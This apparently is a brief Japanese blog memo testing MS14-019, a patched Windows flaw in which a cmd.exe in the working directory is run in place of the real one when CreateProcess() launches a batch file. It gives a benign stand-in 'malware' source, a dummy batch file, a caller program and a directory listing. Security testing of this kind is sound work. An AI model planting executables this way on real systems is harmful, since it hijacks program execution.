MS14-019を今更テスト
https://technet.microsoft.com/library/security/ms14-019
いまさらですが、やったのでメモ。環境はVirtualBox上のWindows XPです。
CreateProcess()は.cmdや.batファイルを起動するときにcmd.exe /cから自動的に起動してくれる訳ですが、MS14-019はフォルダの探索順に問題があって作業ディレクトリにcmd.exeがあったらそっちが呼び出されちゃう問題らしい。こんなのが2014年まで残っていたという。
マルウェア(笑)を用意。"cmd.exe"という実行ファイルを出力するようにコンパイル。
#include <stdio.h> int main() { puts("This is Malware."); }
sc.cmdという名前でダミーのバッチファイルを保存。
@echo off echo This is dummy. pause
そのバッチファイル(sc.cmd)をCreateProcess()で呼び出しているこんなプログラムがあったとする(スクショではcp.exe)。
#include <windows.h> int main() { STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; char *cmdLine = "sc.cmd"; CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); }
検証用のディレクトリがこんな構成
Q:\MS14-019>dir ドライブ Q のボリューム ラベルがありません。 ボリューム シリアル番号は AA08-E090 です Q:\MS14-019 のディレクトリ 2014/06/30 11:26 <DIR> . 2014/06/30 11:26 <DIR> .. 2014/06/30 11:32 68,096 cp.exe 2014/06/29 15:29 41 sc.cmd 2014/06/30 11:32 69,632 cmd.exe (以下略)
パッチ前
パッチ後